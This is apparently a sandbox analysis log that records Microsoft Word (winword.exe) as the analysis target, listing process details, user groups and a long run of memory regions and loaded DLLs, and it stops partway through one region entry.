# Flog Txt Version 1 # Analyzer Version: 2.2.0 # Analyzer Build Date: Sep 28 2017 17:24:42 # Log Creation Date: 16.10.2017 14:26:24.229 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files (x86)\\microsoft office\\office12\\winword.exe" page_root = "0x7a5f4000" os_pid = "0x8d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\Office12\\WINWORD.EXE\"" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 133 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 134 start_va = 0x20000 end_va = 0x22fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 135 start_va = 0x30000 end_va = 0x32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 136 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 137 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 138 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 139 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 140 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 141 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 142 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 143 start_va = 0x110000 end_va = 0x13afff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 144 start_va = 0x140000 end_va = 0x142fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 145 start_va = 0x150000 end_va = 0x153fff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 146 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 147 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 148 start_va = 0x1b0000 end_va = 0x1c7fff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 149 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 150 start_va = 0x1e0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 151 start_va = 0x1f0000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 152 start_va = 0x200000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 153 start_va = 0x210000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 154 start_va = 0x220000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 155 start_va = 0x230000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 156 start_va = 0x240000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 157 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 158 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 159 start_va = 0x270000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 160 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 161 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 162 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 163 start_va = 0x2b0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 164 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 165 start_va = 0x3c0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 166 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 167 start_va = 0x3e0000 end_va = 0x3e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 168 start_va = 0x3f0000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 169 start_va = 0x410000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 170 start_va = 0x420000 end_va = 0x420fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 171 start_va = 0x430000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 172 start_va = 0x440000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 173 start_va = 0x450000 end_va = 0x48ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 174 start_va = 0x490000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 175 start_va = 0x4a0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 176 start_va = 0x4b0000 end_va = 0x4b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 177 start_va = 0x4c0000 end_va = 0x4cffff entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 178 start_va = 0x4d0000 end_va = 0x4d6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 179 start_va = 0x4e0000 end_va = 0x4e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 180 start_va = 0x4f0000 end_va = 0x4f0fff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 181 start_va = 0x500000 end_va = 0x500fff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 182 start_va = 0x510000 end_va = 0x510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 183 start_va = 0x520000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 184 start_va = 0x530000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 185 start_va = 0x540000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 186 start_va = 0x550000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 187 start_va = 0x5d0000 end_va = 0x757fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 188 start_va = 0x760000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 189 start_va = 0x860000 end_va = 0x9e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 190 start_va = 0x9f0000 end_va = 0x9f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 191 start_va = 0xa00000 end_va = 0xa00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 192 start_va = 0xa10000 end_va = 0xa10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 193 start_va = 0xa20000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 194 start_va = 0xa30000 end_va = 0xa3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 195 start_va = 0xa40000 end_va = 0x1e3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 196 start_va = 0x1e40000 end_va = 0x2079fff entry_point = 0x1e40000 region_type = mapped_file name = "office.odf" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\cultures\\office.odf") Region: id = 197 start_va = 0x2080000 end_va = 0x215efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002080000" filename = "" Region: id = 198 start_va = 0x2160000 end_va = 0x242efff entry_point = 0x2160000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 199 start_va = 0x2430000 end_va = 0x243ffff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 200 start_va = 0x2440000 end_va = 0x244ffff entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 201 start_va = 0x2450000 end_va = 0x245ffff entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 202 start_va = 0x2460000 end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 203 start_va = 0x2470000 end_va = 0x247ffff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 204 start_va = 0x2480000 end_va = 0x24bffff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 205 start_va = 0x24c0000 end_va = 0x24cffff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 206 start_va = 0x24d0000 end_va = 0x250ffff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 207 start_va = 0x2510000 end_va = 0x2e3ffff entry_point = 0x2510000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 208 start_va = 0x2e40000 end_va = 0x2ebffff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 209 start_va = 0x2ec0000 end_va = 0x2ec1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ec0000" filename = "" Region: id = 210 start_va = 0x2ed0000 end_va = 0x2edffff entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 211 start_va = 0x2ee0000 end_va = 0x2ee0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ee0000" filename = "" Region: id = 212 start_va = 0x2ef0000 end_va = 0x2f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 213 start_va = 0x2f30000 end_va = 0x2f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f30000" filename = "" Region: id = 214 start_va = 0x2f40000 end_va = 0x2f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f40000" filename = "" Region: id = 215 start_va = 0x2f50000 end_va = 0x304ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f50000" filename = "" Region: id = 216 start_va = 0x3050000 end_va = 0x3072fff entry_point = 0x3050000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db") Region: id = 217 start_va = 0x3080000 end_va = 0x3096fff entry_point = 0x3080000 region_type = mapped_file name = "msxml5r.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE11\\1033\\msxml5r.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office11\\1033\\msxml5r.dll") Region: id = 218 start_va = 0x30a0000 end_va = 0x30affff entry_point = 0x0 region_type = private name = "private_0x00000000030a0000" filename = "" Region: id = 219 start_va = 0x30b0000 end_va = 0x30bffff entry_point = 0x0 region_type = private name = "private_0x00000000030b0000" filename = "" Region: id = 220 start_va = 0x30c0000 end_va = 0x30fffff entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 221 start_va = 0x3100000 end_va = 0x34f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003100000" filename = "" Region: id = 222 start_va = 0x3500000 end_va = 0x350ffff entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 223 start_va = 0x3510000 end_va = 0x351ffff entry_point = 0x0 region_type = private name = "private_0x0000000003510000" filename = "" Region: id = 224 start_va = 0x3520000 end_va = 0x361ffff entry_point = 0x0 region_type = private name = "private_0x0000000003520000" filename = "" Region: id = 225 start_va = 0x3620000 end_va = 0x362ffff entry_point = 0x0 region_type = private name = "private_0x0000000003620000" filename = "" Region: id = 226 start_va = 0x3630000 end_va = 0x363ffff entry_point = 0x0 region_type = private name = "private_0x0000000003630000" filename = "" Region: id = 227 start_va = 0x3640000 end_va = 0x364ffff entry_point = 0x0 region_type = private name = "private_0x0000000003640000" filename = "" Region: id = 228 start_va = 0x3650000 end_va = 0x365ffff entry_point = 0x0 region_type = private name = "private_0x0000000003650000" filename = "" Region: id = 229 start_va = 0x3660000 end_va = 0x366ffff entry_point = 0x0 region_type = private name = "private_0x0000000003660000" filename = "" Region: id = 230 start_va = 0x3670000 end_va = 0x367ffff entry_point = 0x0 region_type = private name = "private_0x0000000003670000" filename = "" Region: id = 231 start_va = 0x3680000 end_va = 0x36bffff entry_point = 0x0 region_type = private name = "private_0x0000000003680000" filename = "" Region: id = 232 start_va = 0x36c0000 end_va = 0x36cffff entry_point = 0x0 region_type = private name = "private_0x00000000036c0000" filename = "" Region: id = 233 start_va = 0x36d0000 end_va = 0x36dffff entry_point = 0x0 region_type = private name = "private_0x00000000036d0000" filename = "" Region: id = 234 start_va = 0x36e0000 end_va = 0x36effff entry_point = 0x0 region_type = private name = "private_0x00000000036e0000" filename = "" Region: id = 235 start_va = 0x36f0000 end_va = 0x36fffff entry_point = 0x0 region_type = private name = "private_0x00000000036f0000" filename = "" Region: id = 236 start_va = 0x3700000 end_va = 0x370ffff entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 237 start_va = 0x3710000 end_va = 0x371efff entry_point = 0x0 region_type = private name = "private_0x0000000003710000" filename = "" Region: id = 238 start_va = 0x3720000 end_va = 0x3721fff entry_point = 0x0 region_type = private name = "private_0x0000000003720000" filename = "" Region: id = 239 start_va = 0x3730000 end_va = 0x3730fff entry_point = 0x3730000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msctf.dll.mui") Region: id = 240 start_va = 0x3740000 end_va = 0x374ffff entry_point = 0x0 region_type = private name = "private_0x0000000003740000" filename = "" Region: id = 241 start_va = 0x3750000 end_va = 0x378ffff entry_point = 0x0 region_type = private name = "private_0x0000000003750000" filename = "" Region: id = 242 start_va = 0x3790000 end_va = 0x3790fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003790000" filename = "" Region: id = 243 start_va = 0x37a0000 end_va = 0x37c1fff entry_point = 0x0 region_type = private name = "private_0x00000000037a0000" filename = "" Region: id = 244 start_va = 0x37d0000 end_va = 0x37dffff entry_point = 0x0 region_type = private name = "private_0x00000000037d0000" filename = "" Region: id = 245 start_va = 0x37e0000 end_va = 0x381ffff entry_point = 0x0 region_type = private name = "private_0x00000000037e0000" filename = "" Region: id = 246 start_va = 0x3820000 end_va = 0x385ffff entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 247 start_va = 0x3860000 end_va = 0x3865fff entry_point = 0x0 region_type = private name = "private_0x0000000003860000" filename = "" Region: id = 248 start_va = 0x3870000 end_va = 0x38affff entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 249 start_va = 0x38b0000 end_va = 0x3caffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000038b0000" filename = "" Region: id = 250 start_va = 0x3cb0000 end_va = 0x3cb0fff entry_point = 0x0 region_type = private name = "private_0x0000000003cb0000" filename = "" Region: id = 251 start_va = 0x3cc0000 end_va = 0x3cfffff entry_point = 0x0 region_type = private name = "private_0x0000000003cc0000" filename = "" Region: id = 252 start_va = 0x3d00000 end_va = 0x3dbffff entry_point = 0x3d00000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 253 start_va = 0x3dc0000 end_va = 0x3dc0fff entry_point = 0x0 region_type = private name = "private_0x0000000003dc0000" filename = "" Region: id = 254 start_va = 0x3dd0000 end_va = 0x3ecffff entry_point = 0x0 region_type = private name = "private_0x0000000003dd0000" filename = "" Region: id = 255 start_va = 0x3ed0000 end_va = 0x3ee5fff entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 256 start_va = 0x3ef0000 end_va = 0x3f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 257 start_va = 0x3f30000 end_va = 0x3f38fff entry_point = 0x0 region_type = private name = "private_0x0000000003f30000" filename = "" Region: id = 258 start_va = 0x3f40000 end_va = 0x3f4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 259 start_va = 0x3f50000 end_va = 0x3f58fff entry_point = 0x0 region_type = private name = "private_0x0000000003f50000" filename = "" Region: id = 260 start_va = 0x3f60000 end_va = 0x3f64fff entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 261 start_va = 0x3f70000 end_va = 0x3f83fff entry_point = 0x0 region_type = private name = "private_0x0000000003f70000" filename = "" Region: id = 262 start_va = 0x3f90000 end_va = 0x3f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 263 start_va = 0x3fa0000 end_va = 0x3fa2fff entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 264 start_va = 0x3fb0000 end_va = 0x3fc2fff entry_point = 0x0 region_type = private name = "private_0x0000000003fb0000" filename = "" Region: id = 265 start_va = 0x3fd0000 end_va = 0x3fdffff entry_point = 0x0 region_type = private name = "private_0x0000000003fd0000" filename = "" Region: id = 266 start_va = 0x3fe0000 end_va = 0x3fe3fff entry_point = 0x0 region_type = private name = "private_0x0000000003fe0000" filename = "" Region: id = 267 start_va = 0x3ff0000 end_va = 0x3ff0fff entry_point = 0x0 region_type = private name = "private_0x0000000003ff0000" filename = "" Region: id = 268 start_va = 0x4000000 end_va = 0x4000fff entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 269 start_va = 0x4030000 end_va = 0x403ffff entry_point = 0x0 region_type = private name = "private_0x0000000004030000" filename = "" Region: id = 270 start_va = 0x4040000 end_va = 0x443ffff entry_point = 0x0 region_type = private name = "private_0x0000000004040000" filename = "" Region: id = 271 start_va = 0x44d0000 end_va = 0x450ffff entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 272 start_va = 0x4550000 end_va = 0x464ffff entry_point = 0x0 region_type = private name = "private_0x0000000004550000" filename = "" Region: id = 273 start_va = 0x4680000 end_va = 0x477ffff entry_point = 0x0 region_type = private name = "private_0x0000000004680000" filename = "" Region: id = 274 start_va = 0x4780000 end_va = 0x4b3efff entry_point = 0x0 region_type = private name = "private_0x0000000004780000" filename = "" Region: id = 275 start_va = 0x4be0000 end_va = 0x4c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004be0000" filename = "" Region: id = 276 start_va = 0x4c20000 end_va = 0x4d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000004c20000" filename = "" Region: id = 277 start_va = 0x4d80000 end_va = 0x4e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d80000" filename = "" Region: id = 278 start_va = 0x4e80000 end_va = 0x4f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e80000" filename = "" Region: id = 279 start_va = 0x4f80000 end_va = 0x507ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f80000" filename = "" Region: id = 280 start_va = 0x2f740000 end_va = 0x2f796fff entry_point = 0x2f740000 region_type = mapped_file name = "winword.exe" filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\WINWORD.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\winword.exe") Region: id = 281 start_va = 0x6fc80000 end_va = 0x7065cfff entry_point = 0x6fc80000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\1033\\MSOINTL.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\1033\\msointl.dll") Region: id = 282 start_va = 0x70660000 end_va = 0x70cb3fff entry_point = 0x70660000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\MSORES.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\msores.dll") Region: id = 283 start_va = 0x70cc0000 end_va = 0x71cd7fff entry_point = 0x70cc0000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\MSO.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\mso.dll") Region: id = 284 start_va = 0x71ce0000 end_va = 0x72a5ffff entry_point = 0x71ce0000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\OART.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\oart.dll") Region: id = 285 start_va = 0x72a60000 end_va = 0x73b0bfff entry_point = 0x72a60000 region_type = mapped_file name = "wwlib.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\WWLIB.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\wwlib.dll") Region: id = 286 start_va = 0x73b10000 end_va = 0x73b22fff entry_point = 0x73b10000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 287 start_va = 0x73ca0000 end_va = 0x73da8fff entry_point = 0x73ca0000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\RICHED20.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\riched20.dll") Region: id = 288 start_va = 0x73db0000 end_va = 0x73e2ffff entry_point = 0x73db0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 289 start_va = 0x73e80000 end_va = 0x73f06fff entry_point = 0x73e80000 region_type = mapped_file name = "msvcp80.dll" filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcp80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcp80.dll") Region: id = 290 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 291 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x73fe0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 292 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x74040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 293 start_va = 0x74090000 end_va = 0x74145fff entry_point = 0x74090000 region_type = mapped_file name = "msproof6.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\msproof6.dll" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\msproof6.dll") Region: id = 294 start_va = 0x74150000 end_va = 0x741a0fff entry_point = 0x74150000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 295 start_va = 0x741b0000 end_va = 0x74229fff entry_point = 0x741b0000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 296 start_va = 0x74230000 end_va = 0x74279fff entry_point = 0x74230000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 297 start_va = 0x74280000 end_va = 0x74339fff entry_point = 0x74280000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\MSPTLS.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\msptls.dll") Region: id = 298 start_va = 0x74340000 end_va = 0x74416fff entry_point = 0x74340000 region_type = mapped_file name = "wwintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\1033\\WWINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\1033\\wwintl.dll") Region: id = 299 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x74460000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 300 start_va = 0x744a0000 end_va = 0x746dffff entry_point = 0x744a0000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 301 start_va = 0x746e0000 end_va = 0x7477afff entry_point = 0x746e0000 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll") Region: id = 302 start_va = 0x74780000 end_va = 0x747cbfff entry_point = 0x74780000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 303 start_va = 0x747f0000 end_va = 0x7481dfff entry_point = 0x747f0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\SysWOW64\\shdocvw.dll" (normalized: "c:\\windows\\syswow64\\shdocvw.dll") Region: id = 304 start_va = 0x74820000 end_va = 0x749bdfff entry_point = 0x74820000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 305 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 306 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 307 start_va = 